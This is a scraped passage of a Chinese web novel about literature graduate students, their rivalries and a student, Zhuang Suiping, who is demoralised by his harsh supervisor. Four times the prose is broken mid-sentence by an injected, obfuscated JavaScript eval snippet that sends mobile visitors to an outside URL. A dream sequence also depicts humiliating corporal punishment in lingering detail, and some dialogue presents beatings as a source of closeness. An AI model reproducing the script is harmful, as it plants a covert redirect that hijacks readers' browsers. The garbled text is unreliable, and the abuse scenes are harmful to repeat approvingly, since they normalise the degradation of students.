“不难的,这个词学思想你师兄写过一篇文章,你拿来看,但是你要注意,我们这篇是介绍性总括性的文章,不用写得太细太深,选择的材料也不要太偏门,要通俗易懂。”秦昭阳转向柏阅冬,“你汇报的时候不是有几个学者给你提了意见吗?正好在这一篇里头做修改,你指导晩亭写。” “好。” 肖晩亭忐忑不安,这才来一周,就要接这么大的任务了吗? 秦昭阳却顾不上她,又接着跟柏阅冬说:“词作内容和艺术特色你来写,你先通读那些词,先把词作内容做个分类,把这部分写了,读着读着你就知道艺术特色了。地位和影响这部分涉及的文献比较多,我来写。现在校对到哪一步了?” “遂平那个底本暑假就已经誊抄完了,现在应该是交给盛超和师妹和其他文献做他校。姜新宇那个底本还没有抄完。” 秦昭阳有点头痛,严先生的意思是让姜新宇来做点事,磨一磨他的性子,问题是他的性子就不适合干这些啊!现在庄遂平都抄完一个本子了,总不能让人家再帮姜新宇擦屁股。 “这样吧,晩亭你去问问他抄到哪儿了,了解一下进度,和他一起做完这个工作。” “好的,老师。” 下午一个隔壁学校的老教授在礼堂作讲座,几乎整个学院都去了。讲座开始前,研究生和博士生都要跟着自己的老师陪着老教授。可是这个老教授是研究古代小说的,能插上话的人不多,柏阅冬没一会儿就被挤到外围了,干脆找了个远远的位置坐着,不管他们了。 没曾想,这一躲,还有意外惊喜。他刚坐下呢,肩膀就被人拍了一下,一回头差点尖叫出声,对方竖了根食指在唇上,让他别说话。 “你怎么来了?” 女孩从后排走到前排,在他旁边的空位坐下,说:“这么大个礼堂,我想来就来。” 柏阅冬抓住她的手,还是那样软软的:“师父有没有跟你说什么?” “还是那几句呗,”秦嘉辰学着父亲的口吻,“你跟柏阅冬趁早分了,你们以后也不可能在一起的,你赶紧的,准备出国的事。” “你什么时候走?” “我明年才毕业呢,不过这一年可能也得去那边几趟,看后面的安排吧。你呢?最近是不是很累?” “还好,就那样,写文章,写个不停。” 秦嘉辰笑得眼睛都弯了起来,头轻轻歪在他肩上:“我本来想着到这里可以远远地看你一眼,看到了我就回去,现在跟你坐在这里,我也只好把这个破讲座听完了。” “听个屁,等开始了,师父在前头坐得安安稳稳的,咱们就溜。”柏阅冬捏捏女孩的掌心,“咱们去那家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679763|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫斯科餐厅。” “老莫啊?好啊!” 这头小情侣在腻歪,那头也热热闹闹。郑旭也来了,和老教授打过招呼,说了下自己的论文进度,便退到一边找小师弟了。 “是盛超吧?”郑旭把手里的点心匣子递给他,“我是你大师兄,郑旭,不过平日我不在学校,帮不上你们什么,你有事就找遂平呗!” “谢谢师兄,师兄客气了。” “我是师兄嘛,应该照顾你们的,但是我没什么师兄的样,还是遂平打电话告诉我,我才知道你来了。”郑旭低头在包里掏出一本书,又递了过去,“不能光给吃的,也送师弟点精神食粮。” 盛超接了,十分高兴:“师兄也太好了。” “你是哪儿的人啊?” 庄遂平原本一直陪着的,可那师兄弟俩越聊越起劲,已经从籍贯聊到盛超的本科老师,压根没人注意到他,他眼神暗淡,悄悄地往后退了两步,发现他们还是照旧,抬头看向严先生和易师兄、姜新宇那些人,也跟老教授聊得热火朝天,他在不在,对场面没有任何影响。 正失落着呢,手却被人往后一拽,拖走了。 柏阅冬把庄遂平按在自己另一侧,嗔怪道:“你就在那儿站着,不嫌无聊?不如陪我们俩聊天。” 秦嘉辰探头出来,跟庄遂平挥了挥手:“庄师兄。” “你怎么来了?不怕被秦老师发现?” “人那么多,他才找不到我。” 柏阅冬突然想起什么:“哎,巍思是不是不在啊?” “嗯,没在,严老师说他干啥去了,不记得了。” 几人原本都没心思听,但是讲座一开始,发现那老教授还挺幽默的,讲话很有意思,礼堂里头笑声连连,便不知不觉把讲座听完了。 讲座结束之后,是提问交流环节。坐在第二排的盛超第一个举了手,起身问了好,道:“您刚才提到一些古典小说中会有重要物象贯穿始终,除了串联情节,也有某些象征意义,这让我想到诗词中某些特殊意象,比如说……” 且不说这个问题提得如何,盛超能在讲座结束第一时间提问,至少说明他的问题意识很强,语言组织能力不弱,而且毫不怯场。这简直是纪慎的完美学生。 柏阅冬下意识地看向庄遂平,见他目光呆滞,早已神游天外,便碰了碰他,指指门口的方向。 三人悄悄溜出了礼堂。 59.第 59 章 秋风落下,下午临近傍晚的时间段,风里带着干燥的寒气,“唰啦啦”吹落一树黄叶。几人手拉着手踩过新落的枯叶,脚底一片脆响。秦嘉辰贪玩,看见旁边有一片棕黄色的完整枯叶,大迈一步,一脚下去,踩碎了。 本来是很无忧无虑的时光,庄遂平却怎么也笑不出来。 小情侣陪他坐在湖边,看湖面被秋风吹起波纹。 “你那个师弟,”柏阅冬还是忍不住,“也太有本事了。” “嗯,你不在的时候,他一来就问工作进度,问都写过哪些文章,是不是还有很大的研究空间。” 柏阅冬叹声气:“这可比姜新宇还难缠,姜新宇只是想出风头,又没多大本事,你那师弟是真有本事,不知道纪老师多喜欢他呢!”柏阅冬话一出,便看见庄遂平头低了下去,不禁懊悔失言。 秦嘉辰道:“你们想这么多干嘛?他们俩才是一届的,俗话说,恶人自有恶人磨,让他们去竞争好了。” “就是就是,”柏阅冬忙道,“遂平,别管这么多,咱们上老莫吃饭去,我之前说论文写好了请你和巍思吃饭的,他不在,咱们多吃点,气死他!” 小情侣一人一边,把闷闷不乐的庄遂平架了起来,拖着往前走。庄遂平一看,自己也太像人质了,终于忍不住,“扑哧”一声笑了出来。 礼堂里那一群人也去了校外不远处一个饭店,包厢里一个大桌,坐得满满当当。快要上菜时,刘巍思匆匆赶来,跟各位老师问过好,又跟老教授道歉:“真是不好意思,没能听到您的讲座。我早上去找文献,老师叮嘱我快些回来的,但是我一次抄不完,下回还得去,我手又慢,就错过了,您别见怪!” 那老教授跟严先生很熟,也是知道刘巍思的,并未怪他,只笑道:“你这孩子,说什么胡话!当然是你自己的事重要,我也没讲什么好话,不听更好!” 众人都笑,几个研一的学生多挤了一张椅子进来给刘巍思坐。纪慎环视一圈,这才发现,柏阅冬和庄遂平不在。 “昭阳,你们家阅冬呢?” 秦昭阳当然早就发现死小孩溜了,估摸着还带走了庄遂平,连理由都给他想好了:“上回去参加论坛,有些材料要补,我就让他回去干活了。纪老师,不好意思啊,他还把遂平捎上了,改明儿押他给您请罪去!” “真是瞎说!让庄遂平去帮忙也是看得起他,我还得谢你呢!” 一顿饭吃得其乐融融,到了八点多才散去。秦昭阳和易堂生送老教授回去,刘巍思陪着严先生,其余人各自散了。 晚上天更冷了些,凉风飕飕,从脖子处窜进去,冰得人一阵阵打冷战。刘巍思给老师披上外套,慢慢地回家去。 “巍思,冬冬也忙完了吧,这周末让他和小庄一起来吃饭吧。”严先生道。 刘巍思点点头:“嗯,我找个时间问他们。” “我今天瞧着小庄不是很好的样子,憔悴,也没有兴致,你们纪老师……”严先生欲言又止,最后长长地叹了声气。 刘巍思知道老师的意思。严先生是最爱护学生的,见不得小孩子受委屈,遂平来这儿一年有余,也没见他高兴过几回。今天那样的场合,纪老师竟然这么晚才发现遂平不在,可想而知遂平平日有多受冷落。 严先生不愿意让小孩子多想,换了话题,道:“咱们也好久没一起看文章了,今年来了新宇,还来了一个新的博士,找个时间,大家坐一块说说话。” “好,老师,我来安排。” 次日一早,庄遂平便被纪慎叫了去,盛超拿上自己的笔记本和钢笔,也跟了上去。 “你有什么事?”纪慎先把目光对准了盛超。 “不好意思老师,我看师兄过来,想着您现在应该是有空,所以也想来跟老师讨论一些不成熟的想法。”盛超一点也不在乎是不是占用了庄遂平的时间,自顾自道,“我读了元好问的词,发现他词里的意象很有意思,想跟老师说说。” 纪慎眼角带上一丝笑意,指指办公桌前的一张椅子:“你坐。” 盛超点点头,说谢谢老师,安然坐下。 庄遂平还站着,不知所措。 纪慎扭头过来,又指指一张比较远的椅子:“你也坐吧。” 你也坐吧。 这是老师第一次叫他坐,可他只听出了点勉强施舍的味道。他低头笑笑,走过去坐了。 盛超滔滔不绝地说着他的想法。说是想法,其实已经是搭好了框架的论文,意象分类和内涵、意象的使用和组合、频繁出现这些意象的原因…… “原因我初步认为有以下几点,一是社会环境变化,二是词人个人人生经历、性格特征和审美心理的独特性,三是词体本身的演化过程……” 纪慎耐心听完,笑道:“你才来了一周多,就要整这么大一篇论文了。” “一周多已经很久了,总不能一直坐在那里,什么成果都没有吧。” 盛超这话没有针对别人的意思,可纪慎却冷冷地瞥向了庄遂平,庄遂平也心虚地看着老师。 阅冬有成果,刚来的小师弟也有想法,只有他,整天坐在那里,却什么也没有。 纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680709|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慎再看向盛超时,眼中又有了温度,道:“你这个想法很好,框架也没什么问题,但是最后原因探究那部分,需要的材料比较多,你可以去问问秦老师,尤其是词体本身的演化过程,写起来难度可能比较大,你可以先写,写了再慢慢改。” “好的老师,我之前也想到了,但是我认为这部分必须写,必须以词论词,否则这个原因探究就是不完整的。我先试着写,写不出来再来叨扰老师。” 纪慎点点头:“你的想法很对,有什么问题再来问我。” 其实聊到这里就可以结束了,可是纪慎又想起旁边那个不成器的:“庄遂平,你有什么想法?” “啊?”庄遂平突然被点到,都不知道老师问的想法是针对盛超的论文还是他这么长时间的工作,“我、我没有,我觉得挺好的。” “盛超是还不错,你呢?” “我……”庄遂平看看老师,终于还是低下了头。 纪慎收起了所有的表情,道:“盛超,你先回去吧,我还要留一下你师兄。” 不料盛超并未起身,只是兴致勃勃道:“老师和师兄还要讨论什么?我想一起听听,学习学习。” “我跟他没有什么好讨论的,”纪慎拿过桌边的戒尺,“他要挨打了。” 盛超看着老师抚摸戒尺的动作,又看看一脸惊恐的师兄,竟然笑了:“这样啊。” “怎么?你要留下来看吗?” 庄遂平还坐着,可是腿已经软得站不起来了,颤抖的手心里全是冷汗。 “姜新宇,昨天老师让我问你,你誊抄到哪里了,让我们俩一起做这个工作。”肖晩亭道。 姜新宇看着面前的女孩,露出个笑:“怎么?秦老师不放心我?” “没有啊,老师只说让我跟你一起做。” 姜新宇翻开书签夹着的那一页,道,“之前抄到这一卷,进度过半了,如果快的话,可能两个月就可以抄完了。” 肖晩亭点点头:“那以后咱们谁有空就谁来抄,顺着往下抄,应该没问题的。” 柏阅冬还没来,这会校对室里就他们两个人。姜新宇眼皮一抬,笑问:“昨天秦老师就只跟你说抄这个?没说别的?” “还说写论文的事儿,让我写里面词学思想那部分。” “论文写完,可以给我看看吗?” “我只写一部分呀,其他的是老师和师兄写。” “我看你那部分也成啊!” “那我写完给你看,你要给我提修改意见哦。”肖晩亭笑道。 “一定。” 60.第 60 章 “怎么?你要留下来看吗?” “好啊,我要看老师打师兄。” 戒尺敲敲桌面,纪慎催促道:“过来,你师弟要看你挨打。” 庄遂平想站起来,可是腿一软,“哐啷”一声摔在地上,连椅子都一并带倒了。 纪慎和盛超笑了起来。 湿漉漉的眼睛看向老师,可老师一句话都没有,只用眼神表达着嘲弄。 “盛超,你师兄是这样的,连挨打都不如别人,他挨不得戒尺,还很羡慕刘巍思在我这里挨打,来跟我说什么方式都能接受。你看看他,是能挨打的样子吗?” 庄遂平不知道自己是怎么到桌边的,撑在桌上时裤子已褪了下来,应该是他自己脱的吧,老师不会动手做这种事的。 戒尺“啪”一声抽在臀上,他一惊,浑身颤抖了起来。 盛超又笑了。 纪慎也笑,道:“你师兄就是这样,没什么出息。”纪慎说着站了起来,一手按住庄遂平的腰往下压,让他的屁股撅得更高,另一手扬起戒尺“啪啪啪啪”地抽了下去。 庄遂平被老师按得上半身都紧紧贴在了桌面上,侧脸甚至压得变形,导致他连喊疼都出不了声,只能“嗯嗯啊啊”,唾液不受控制地从嘴角淌出来,沾湿了桌子。 戒尺在他身后肆虐,一连打了三四十下,整个屁股都被打得通红,覆盖了之前留下的灰扑扑的痕迹。 盛超走到他身后瞧了一眼,说:“老师,您打得太轻了,怪不得师兄没有进步。” “是啊,打得太轻了。” 于是戒尺再落下时更重更快,庄遂平疼得受不住,两腿踢蹬起来,屁股也跟着扭来扭去,可是无论他往左还是往右,戒尺总能精准地落在他身后的两团肉上,哪一边都逃不掉。 庄遂平流出了眼泪,那是疼痛而屈辱的眼泪。 不知打了多少,那两团肉呈现出烂熟的深红色,皮下覆盖着紫红色的血点,仿佛再打就会破皮流血。纪慎停了戒尺,问盛超:“你觉得你师兄吃到教训了吗?” 盛超在他身后摇头:“我觉得还没有,老师累了吗?让我来打吧。” “好。” 盛超接过了那柄戒尺,慢慢走向他。庄遂平仍趴在桌上,嘶声道:“老师……不要……” “要的,师兄,你要多挨打,才会进步哦。”盛超说着,高高扬起了戒尺。 “不要……”庄遂平心头一抽,猛然叫出了声,“不要——” 柏阅冬在睡梦中一惊,睁开了眼睛。花了两秒反应过来出了什么事,柏阅冬立刻下床开了灯,坐在庄遂平床边摇他:“遂平,遂平醒醒,是不是做噩梦了?怎么都是汗?” 庄遂平缓缓睁开眼睛,整个人都是呆愣的。 柏阅冬拿了块干净毛巾来帮他擦汗,问:“怎么了?有没有哪里不舒服?” 庄遂平是趴着睡的,压得胸口难受,翻身起来坐在厚厚的被褥上,慢慢清醒。 “梦到什么了?” 庄遂平不愿意回想,也不愿意说,只摇了摇头。 “还接着睡吗?还是缓一会儿?” 做这种梦,怎么可能还睡得着?庄遂平真怕他一闭眼就梦到盛超拿着戒尺抽他的屁股。 “阅冬。” “嗯,你说。” 庄遂平眼眶通红,声音有点哑:“我快,坚持不住了。” 柏阅冬有点不能理解他的话,坚持不住什么,正要问,又听他道:“我太累了。” 柏阅冬非常不安,却不知道如何开解,只说:“遂平,别想这么多,还有我和巍思呢!” “我知道,你和巍思都很好,可是我……”庄遂平埋着头,听声音像是哭了,“可是我,真的很想让他多看我一眼……” “我也很努力了对吗?我也进步了是不是?可是阅冬,怎么都不够。好不容易不和巍思比了,又要和你比,现在都不用和你们比了,他眼里已经没有我了。” “你知不知道盛超多厉害?他才来了一周多就构思好一篇论文了。老师看着他,让他做,冲他笑,说他的想法很对,你知不知道那些都是我想得到的东西?” “但是我越想得到,这些东西就越落不到我身上。” “你知道我梦到什么吗?我梦到他在盛超面前打我,盛超说打得太轻了,他让盛超打我……” “遂平!”柏阅冬打断了他,再说下去,他情绪要崩溃了,“你做梦了,你也知道那是你梦到的,梦里的事情不会发生的。纪老师虽然很严厉,但是不可能当着别人的面打你,更不要说让别人对你动手。” “我好害怕,阅冬……” “遂平,你知道吗?我以前没有挨过打,所以我一开始知道纪老师打你的时候很难接受。可是后来我师父打我,纪老师也打过我,我就……也不是习惯,就是觉得挨过打之后,我和他们的关系就会更亲近一些,很奇怪,就感觉你都看过我光屁股的样子了,我也不用在你面前装模作样了。”柏阅冬把腿盘起来,坐得离庄遂平更近些,“我在想,他们打人是不是这个想法?我打了你,跟你关系就更亲近了。” 庄遂平冷冷地笑了一声:“是吗?那为什么我没有感觉到亲近,只觉得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686225|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直在、在承受他的恶意。” “因为,人总是会伤害自己最亲近的人。就像我师父不让我和辰辰在一起,他很自以为是,以为可以代替我们做判断,但是他忘记了,我们也是独立的个体,会有自己的想法。我觉得,也许纪老师也是这样的,他一直在替你做判断,觉得要给你压力你才会进步,但是没想到,其实你承受不了这么大的压力。” 后来他们俩谁也没睡,就坐在床上聊了一整晚。第二天柏阅冬一直在校对室里打瞌睡,被秦昭阳看见又挨了一顿骂。 刘巍思来叫他们周末去吃饭,但是柏阅冬赶着写论文,腾不出时间,最后只有庄遂平去了。 入了秋,天气干燥,严先生在锅上炖了萝卜排骨汤,又打电话叫校外的小饭馆送了几个菜过来,问:“三个菜够了没有?老师叫了锅包肉、地三鲜和醋溜土豆丝,要不要再点个肉菜?” 刘巍思给庄遂平倒了茶,高声应道:“点吧,老师,我想吃炒肝!” “好。”严先生调了小火炖汤,又去打电话了。 就算到了严先生家里,庄遂平也打不起精神,他的黑眼圈很重,眼皮肿得抬不起来,总让人觉得下一秒他就会睡着。 严先生打完电话,便朝他们走来。庄遂平见了,忙要起身,严先生笑着摆了摆手,让他坐。 刘巍思也给老师端了一杯热茶。 严先生把茶放一边,问:“小庄,是不是好久没上我们家吃饭了?” “是,”庄遂平勉强笑笑,“我应该早点来看老师的。” “知道你们都忙,特别是你们秦老师那个校注工作,巍思说你成天在那呆着,哪儿也不去。” “反正在哪里都是学习,在那儿方便。” 严先生点点头:“你是用功的,不像巍思,三天打鱼两天晒网,好容易写了一点东西出来,就嚷着要休息要放松。” 刘巍思听到老师嫌弃自己,翻了个白眼:“老师,您那是不知道他们都在干什么,遂平和阅冬前些日子瞒着我去老莫吃饭,气死我了!” “谁叫你这么笨,也不知道探探人家的行踪!” “哼,不说了,怎么说都是我不好!” 严先生和庄遂平都笑。 那天从下午到晚上,他们喝了茶又吃饭,吃了饭又切水果,你一言我一语地闲聊,没有人提纪慎,也没人提盛超,庄遂平难得地轻松了一天。 后来每当觉得自己撑不下去时,他总能想起那个秋日的午后,温暖的阳光落在严先生家的阳台上,把整个屋子都照得亮堂堂,就连搪瓷杯里的茶水,都透亮温润。 61.第 61 章 柏阅冬一大早就被秦昭阳叫走了,校对室里四个人,除了姜新宇在抄文献,剩下的都在写论文。姜新宇抄到一半,忍不住伸长脖子去看——肖晩亭写论文他是知道的,盛超什么时候也有论文写了? “盛超,你开始写论文了?”姜新宇问。 盛超“唰唰唰”写完脑子里想好的那一句才停:“嗯,写元好问词里的意象特征。” 姜新宇表情僵了一瞬,问:“纪老师给你的题目。” “没有啊,自己想的,我们老师不研究这个,我有空还得去问秦老师呢!有几个地方我自己写不出来。” “挺快啊,开学才多久?半个来月,就开始写论文了。” “论文嘛,有想法就写,”盛超说着,翻开另一个笔记本找资料,“写得好不好再说。” 姜新宇敷衍地笑了笑,没再说话。肖晩亭这篇文章肯定是要发的,盛超也在写了,他现在还什么都没有。原本他早早联系严先生,就是为了先人一步登顶,成为第二个柏阅冬,可是没想到严先生只是一直让他在这里抄文献,如今一步落后,步步落后,他设想的成名之路恐怕会成为肖晩亭或者盛超的人生之旅。 一旁的庄遂平听了他们的对话,不受控制地焦躁起来。其实他知道盛超并非针对他,可是近来身体上的反应越来越由不得他。 秦昭阳的办公室里,柏阅冬刚汇报完自己这几天的工作和进度。他把所有的词作了一个简单的分类,但有很多小问题没办法解决:“师父,有些词不能被严格地划分到某一类里面,可能什么都涉及一点,不是很好分。还有,我们现在还没有补遗,这些词的数量不是确定的。” “先说词的数量,大概就行,补遗也不是我们搜集一些就能补完的,将来可能会发现更多,我们能掌握多少就写多少。至于划分的问题,你具体看那首词更偏向哪一类,如果说难以分类的词很多,那可能是我们的分类标准不适用,那就要再想。” “那需不需要按照词的长度做划分?小令、中调、长调。” “你可以试着分一下,如果发现有特殊之处,可以写一写,如果没什么特别的,就没必要写了。”见学生点了点头,秦昭阳又追问,“艺术特色呢?有眉目没有?” “哪有这么快?”柏阅冬白了师父一眼,像在腹诽他逼得太紧了,“不过,也不能说完全没有,有一点点模糊的感觉,等我写了词作内容再说吧。” “行,你写着写着就有感觉了。”说完了正事,秦昭阳放松地往椅背上靠,突然不正经起来,问,“你觉得肖晩亭怎么样?” “挺好的啊,乖乖的。” “其实你跟她也挺般配的。” 柏阅冬缓缓换上冰块脸,大逆不道地盯着他师父,说:“师父,您不想让我和辰辰在一起,那是我们三个的事,把师妹拖下水,以此转移我的注意力,这是很无耻的行为!” 秦昭阳无奈地笑了笑,没怎么生气:“年轻人,你不要以为自己很长情,等辰辰出了国,你俩还能记得对方多久?” “不劳您操心!”柏阅冬愤愤地瞪了他一眼,起身走了。 秦昭阳看着学生潇洒的背影,心想,行啊,我不管你们了,就让时间冲淡你们的青春爱情吧! 国庆那日,刘巍思陪着今年新来的博士师兄去看升旗,又在外面逛了一上午。新师兄是外地人,对这个城市充满了好奇,刘巍思很热情,每走几步就叽里呱啦地介绍这地方有什么好吃的,以前他来的时候如何如何,要是师兄有兴趣可以怎样怎样。最后师兄累了他还没累。 下午回到家里,师门里的人基本都到了——大家来看老师,顺便开个会。 大家围坐成一圈,刘巍思泡茶、摆点心、切水果,忙活个没完。 这个学期第一次师门会议,严先生介绍了新来的博士和姜新宇,接着便让学生们一个接一个地汇报自己最近的学习情况,有什么疑难就说出来大家一起讨论。姜新宇是最后一个汇报的,着重说了他跟着秦昭阳去参加词学论坛的收获,末了又提到现在同一届的肖晩亭和盛超都在写论文,但他还没有任何眉目。 严先生向来是不主张没打牢基础就急着写论文出成果的,又想法能写当然好,但没有也不必着急。听了他的话,缓缓道:“新宇,慢慢来,写论文的机会多得是,不急在这一时半会。巍思这一届,他也是最后一个发文章的,不影响什么。”最后忍不住打了个预防针,“如果你要发文章,要先给我看过。如果你找我不方便,就找你大师兄,他看也是一样的。堂生。” 易堂生立马应声:“是,老师,我知道。” 严先生点了点头,很是放心。 最后大家聚在一起闲聊了几句,易堂生看时候也不早了,便起身告辞。刘巍思照旧将大家送到楼下,等众人走远了才快步回家去了。 国庆过后,纪慎那边也开了个师门会议。纪慎今年也招了个博士,全凑起来也有四个学生了。只是他们的师门会议远没有严先生那一 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“好的,老师。”盛超突然被点到,却不慌不忙,“我这个学年的计划是上完课,完成所有的课程论文,同时寻找我感兴趣的研究方向,最好是能将毕业论文的题目确定下来。另外,如果可以的话,我希望可以发表一篇论文,现在在写的这一篇不知道有没有机会,等写完了请老师帮我看看。除了在校学习,我还希望能有一些校外的学习机会,包括外校的讲座、学术会议……” 庄遂平想,这才是老师想要的学生,聪明、机敏、大方……而他,永远呆笨、迟钝、扭扭捏捏,别说老师,换了任何人,都会更喜欢盛超的。 庄遂平突然冒出一个念头,是不是他这辈子都会被周围人压得喘不过气来?在家的时候有大哥和弟弟,刚来学校时有巍思和阅冬,现在有盛超,以后还会有别人。他注定只能是一个平庸的普通人。 盛超也讲完了,大家的目光再次回到庄遂平身上。庄遂平缓缓抬起眼皮,茫然地环视一圈,木木开口:“我想这一年把论文初稿写出来,帮秦老师校对完元好问的词,然后……好像也没别的了。” “遂平,你是不是没睡醒?”郑旭忍不住道。 “啊?”他确实像没睡醒,眼睛都睁不开,厚厚的黑眼圈挂在眼底,看着吓人得很。 纪慎冷笑了一声,道:“还有问题吗?没有问题就散了,庄遂平你跟我来。” 又要去挨打了,庄遂平以前没那么怕挨打的,可是自从盛超来了,每次老师单独留他都让他很恐惧,尤其是对上盛超那个玩味的眼神。 ——师兄,又要被打屁股了。 庄遂平目光躲闪开去,拿上本子钢笔,拖着步子走了。 62.反虐老纪[番外] 已过而立的庄遂平依旧保持着刚来到这个城市时的朴拙,但已经没有了刚开始时的战战兢兢和后来的乖觉自卑,眼眸自然下垂,面上没有表情,淡淡的,没有起伏。 纪慎看了他的文章,无可奈何地叹气,斥责的话几乎脱口而出,却还是生生压了下来,道:“钱谦益这部分写得很不错,但是……”到底是忍不住,夸奖的话不过十来个字,马上就要“但是”了。 “但是你研究二臣诗人群体,不能只是把这些诗人一个个堆起来,你要归纳他们的共同点,他们的仕途、性格、心理乃至审美,不然怎么能算是群体研究呢?” 语气还是着急了些,纪慎说完有些后悔,偷偷觑了学生两眼,见他还是那副模样,当真头疼得紧。 庄遂平再不会像当年那样一听到批评的话就立刻害怕了,只是轻轻点头:“我知道要写,之后会写的。” “你的论文要把这部分放前面呀!”纪慎一激动,手敲了两下桌子,一反应过来,讪讪的不知该往哪里放,尴尬地摸了摸后脑勺,硬生生地按在了大腿上,“共性放前面,单独成章,后面你写代表诗人的时候要结合共性突出他们的个性,明白吗?” “我知道,我后面会改的。” “遂平,”纪慎语气里带着不易察觉的恳求,“下学期就要博二了,要讲究效率,老师不希望你浪费时间。” 庄遂平眨眨眼,抬起眼帘,道:“我知道我不聪明,会用功的,您不用担心。” 他说您不用担心,话里话外是挑不出错的尊敬,但再没叫过一声老师。 纪慎眼眶突然有点湿润,想不起来面前这个学生有多久没叫他老师了。 “遂平,老师不是这个意思,只是博士三年,很快就会过去,老师希望你……希望你能安排好,当然,老师也会帮你的。” 庄遂平机械地笑了笑,眼睛里没有温度:“我不聪明,也不扎实,这都是您以前说过的,我都记得。” “遂平!” “我已经答应您读博了,也说过我读博会很艰难,我会尽力,不辜负您的。” “那你自己呢?”纪慎被他搞火了,“你口口声声说尽力不辜负我,可是你现在在辜负你自己!你对得起自己吗?硕士三年,博士三年,读这六年书,以后呢?你想过吗?” 想过吗?当然是想过的。刘巍思肯定是严先生给安排好,柏阅冬如今前途不明,但他师父必定不会亏待他,至于自己,庄遂平嘴角一动,颇为自嘲,至于自己,随便去个高校吧,哪里都可以,他不在乎。 “遂平,不要看现在,想想你的以后。” 庄遂平看着他,露出一个十分真诚的笑:“我想过,毕竟我也不能像刘巍思,等着您为我安排。” 有何不可?纪慎想,他甚至可以安排得比严先生更好。 “我已经,”庄遂平眼睛一眨,真诚的笑容忽然苦涩起来,“不会再想这些不切实际的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725782|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情了,我不会再想了。读完博士,我就服从安排,回家乡也好,去偏远的西部也好,反正到处都缺青年教师,我也不会怎么样的。” 纪慎眼底泛起涟漪:“遂平,我以为你答应跟我读博的时候就已经……老师说过不会放弃你。” “可是我已经不敢相信了,我知道您只是要求严格,也知道我的不足,但是这一切,阴差阳错地粉碎了我孤注一掷的勇气,我再也不敢去做这样的事了,我再不会把未来压在谁的身上。”庄遂平声音颤抖,“对不起,今天耽误您的时间了,论文我回去改,下个月再拿来给您看。”说着就要去拿论文。 纪慎手忙脚乱,想压下这几张纸,却没他的动作快,眼睁睁看着写满字的方格纸被抽回去:“遂平!” “我先走了,您忙。”庄遂平站起来,点头致意。 “遂平,”纪慎也跟着起身,“周末到家里吃饭吧。” “多谢您一番好意,但是不麻烦您了。”庄遂平说罢,转身要走,纪慎看着他熟悉的背影,仿佛昨天才打了他,可其实,已经好几年了。 “遂平,你要怎么样,才肯原谅老师?” 庄遂平手放在门把上,几欲落泪,他竟然听到纪慎说原谅,原谅。 “遂平,原谅老师吧。” 庄遂平用力拧开门把,厚重的木门轻轻巧巧地开了,外面刺眼的光漏进一线,闪着他脸上的泪珠。 庄遂平顿了一下,走了出去。 63.老程亮相[番外] 程映泽看着镜子里的自己,眼珠子一转,问:“老师,您把我打扮得人模狗样的,是要去见谁啊?去见师爷吗?” 罗毓瞅了一眼,撇撇嘴:“见你师爷才不用穿成这样,你老师不知道要带你去得瑟给谁看呢!” 刘巍思手里拎着两条羊绒围巾,一条纯灰色,一条黑色条纹,问罗毓:“罗老师,你说哪个好看?” 罗毓不耐烦地翻了个白眼:“你不觉得你儿子这年轻气盛血气方刚的,根本就用不上围巾吗?” 有道理,对,少穿点,显得大傻儿子健康! 刘巍思收起围巾,朝程映泽招招手:“程映泽,走了!” 程映泽“哦”了一声,大马金刀地跟着老师出门了。 北方入了冬,寒风飕飕地直往人脸上扇,刘巍思这个在北方呆了一辈子的人一出门都忍不住瑟缩起来,程映泽头回在北方过冬,却带着初生牛犊不怕虎的傻气——全靠一身正气御寒。 程映泽一路上不问去干什么,傻愣愣地跟着到了一家饭店里,看着大厅里高高的吊顶和金色的灯光,不禁问:“老师,我们瞒着师母在外面这么奢靡,真的好吗?” “第一,你老师我没有瞒着你师母,第二,是有些人非要这么奢靡,你老师我是无辜的!” 程映泽眼睛一亮,“哇”了一声:“老师您怎么会认识这种非要奢靡的人啊?快介绍给我!” 刘巍思拧着他的耳朵:“等下就介绍给你,你要是敢给我乱说话,你就死了!” 